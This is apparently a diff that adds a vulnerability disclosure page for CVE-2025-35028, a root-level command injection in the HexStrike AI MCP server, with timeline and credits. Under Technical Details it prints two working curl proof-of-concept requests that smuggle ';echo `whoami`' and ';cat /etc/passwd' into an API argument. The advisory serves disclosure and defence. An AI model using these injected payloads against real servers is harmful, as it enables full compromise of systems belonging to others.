|
| 1 | +--- |
| 2 | +title: CVE-2025-35028 |
| 3 | +aliases: |
| 4 | + - /cves/CVE-2025-35028.html |
| 5 | + - /gcves/GCVE-1337-2025-00000000000000000000000000000000000000000000000000111111111111111111111111000000000000000000000000000000000000000000000000000000011 |
| 6 | +publishDate: 2025-11-30T13:37:00-06:00 |
| 7 | +--- |
| 8 | +# CVE-2025-35028: HexStrike AI MCP Server Comamand Injection |
| 9 | + |
| 10 | +[AHA!] has discovered an issue with HexStrike AI from |
| 11 | +[0x4m4](https://www.0x4m4.com), and is issuing this disclosure in accordance |
| 12 | +with AHA!'s standard [disclosure policy] on November 30, 2025. [CVE-2025-35028] |
| 13 | +has been assigned to this issue. Any questions about this disclosure should be |
| 14 | +directed to cve@takeonme.org. |
| 15 | + |
| 16 | +The [GCVE](https://gcve.eu/about/) identifier for this issue is <span style="white-space: nowrap;">[GCVE-1337-2025-00000000000000000000000000000000000000000000000000111111111111111111111111000000000000000000000000000000000000000000000000000000011]</span> |
| 17 | + |
| 18 | +# Executive Summary |
| 19 | + |
| 20 | +[HexStrike AI](https://github.com/0x4m4/hexstrike-ai) is a fairly popular model |
| 21 | +context protocol (MCP) server, having collected about five thousand stars on |
| 22 | +GitHub at the time of this disclosure, and has been forked over a thousand times. |
| 23 | +It is billed as an "AI-Powered MCP Cybersecurity Automation Platform," and is |
| 24 | +likely shipping as part of other AI security products. |
| 25 | + |
| 26 | +By providing a command-line argument starting with a semi-colon `;` to an |
| 27 | +API endpoint created by the `EnhancedCommandExecutor` class of the HexStrike AI MCP |
| 28 | +server, the resultant composed command is executed directly in the context of |
| 29 | +the MCP server's normal privilege; typically, this is `root`. There is no |
| 30 | +attempt to sanitize these arguments in the default configuration of this MCP |
| 31 | +server. |
| 32 | + |
| 33 | +This appears to be an instance of [CWE-78], and has an estimated CVSSv3.1 score |
| 34 | +of *9.1* |
| 35 | +([CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)). |
| 36 | +Note that this CVSS rating presumes the MCP server is run as-is in a default |
| 37 | +state, with no user authentication. |
| 38 | + |
| 39 | +# Technical Details |
| 40 | + |
| 41 | +It is trivial for an attacker to inject additional commands via the |
| 42 | +`EnhancedCommandExecutor` object, near |
| 43 | +https://github.com/0x4m4/hexstrike-ai/blob/master/hexstrike_server.py#L6783. |
| 44 | + |
| 45 | +The below is a straightforward example using a typical `nmap` command exposed by |
| 46 | +`EnhancedCommandExecutor`, tested against commit |
| 47 | +[33267047667b9accfbf0fdac1c1c7ff12f3a5512](https://github.com/0x4m4/hexstrike-ai/commit/33267047667b9accfbf0fdac1c1c7ff12f3a5512) |
| 48 | +the shipping version on September 25, 2025 (this project does not appear to use |
| 49 | +version numbers or tagged releases.) |
| 50 | + |
| 51 | +## Demo 1: |
| 52 | + |
| 53 | +``` |
| 54 | +curl -X POST http://localhost:8888/api/tools/nmap \ |
| 55 | + -H "Content-Type: application/json" \ |
| 56 | + -d '{"target": "127.0.0.1", "scan_type": "-sV -Pn", "ports": "443,80,5000", "additional_args": ";echo `whoami`"}'|jq -r '.stdout' |
| 57 | +``` |
| 58 | + |
| 59 | +## Demo 2: |
| 60 | + |
| 61 | +``` |
| 62 | +curl -X POST http://localhost:8888/api/tools/nmap \ |
| 63 | + -H "Content-Type: application/json" \ |
| 64 | + -d '{"target": "127.0.0.1", "scan_type": "-sV -Pn", "ports": "443,80,5000", "additional_args": ";cat /etc/passwd"}'|jq -r '.stdout' |
| 65 | +``` |
| 66 | + |
| 67 | +These demos return the results of the appended commands to the user via stdout. |
| 68 | + |
| 69 | +# Attacker Value |
| 70 | + |
| 71 | +Should this MCP server be bound to a network interface reachable over normal |
| 72 | +TCP/IP, this can lead to a total compromise of the MCP server's environment. |
| 73 | +This is the normal configuration and usage of the |
| 74 | +[hexstrike-ai](https://github.com/0x4m4/hexstrike-ai) MCP project, which, as |
| 75 | +mentioned, is a fairly popular API harness for providing cybersecurity tooling |
| 76 | +for evaluation and penetration testing. |
| 77 | + |
| 78 | +# Credit |
| 79 | + |
| 80 | +This issue was discovered and disclosed by jippen of AHA!. |
| 81 | + |
| 82 | +# Timeline |
| 83 | + |
| 84 | +* 2025-09-25 (Thu): Presented at regularly scheduled AHA! meeting |
| 85 | +* 2025-10-01 (Wed): Disclosed to the vendor at contact@0x4m4.com |
| 86 | +* 2025-11-20 (Thu): Reminder to the vendor of the upcoming disclosure |
| 87 | +* 2025-11-30 (Sun): Public disclosure of [CVE-2025-35028] |
| 88 | + |
| 89 | +---- |
| 90 | + |
| 91 | +[AHA!]: https://takeonme.org |
| 92 | +[disclosure policy]: https://takeonme.org/cve.html |
| 93 | +[CVE-2025-35028]: https://www.cve.org/CVERecord?id=CVE-2025-35028 |
| 94 | +[CWE-78]: https://cwe.mitre.org/data/definitions/78.html |
| 95 | +[GCVE-1337-2025-00000000000000000000000000000000000000000000000000111111111111111111111111000000000000000000000000000000000000000000000000000000011]: {{< baseurl >}}gcves/GCVE-1337-2025-00000000000000000000000000000000000000000000000000111111111111111111111111000000000000000000000000000000000000000000000000000000011 |
0 commit comments